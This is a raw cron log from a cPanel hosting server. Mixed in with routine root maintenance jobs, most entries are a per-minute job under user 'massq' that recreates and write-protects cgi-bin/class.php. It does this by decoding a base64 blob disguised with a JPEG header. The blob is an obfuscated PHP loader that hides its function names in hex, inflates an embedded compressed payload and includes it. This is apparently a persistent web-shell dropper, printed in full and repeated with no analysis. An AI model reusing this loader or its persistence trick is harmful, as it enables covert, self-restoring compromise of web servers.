Nov 13 20:34:01 server CROND[27290]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 20:35:01 server CROND[27866]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 13 20:35:01 server CROND[27868]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 20:35:01 server CROND[27870]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check &amp;&amp; /usr/local/cpanel/bin/tail-check)
Nov 13 20:35:01 server CROND[27869]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 20:35:01 server CROND[27872]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 20:36:01 server CROND[28829]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 20:37:01 server CROND[29729]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 20:38:01 server CROND[30601]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 20:39:01 server CROND[31727]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 20:39:01 server CROND[31728]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 13 20:40:01 server CROND[32602]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 20:40:01 server CROND[32603]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 20:40:01 server CROND[32604]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 13 20:40:01 server CROND[32607]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 20:41:01 server CROND[1089]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 20:42:01 server CROND[1961]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 13 20:42:01 server CROND[1962]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 20:43:01 server CROND[2839]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 20:44:01 server CROND[3631]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 20:45:01 server CROND[4585]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 20:45:01 server CROND[4586]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 20:45:01 server CROND[4587]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 20:46:01 server CROND[5499]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
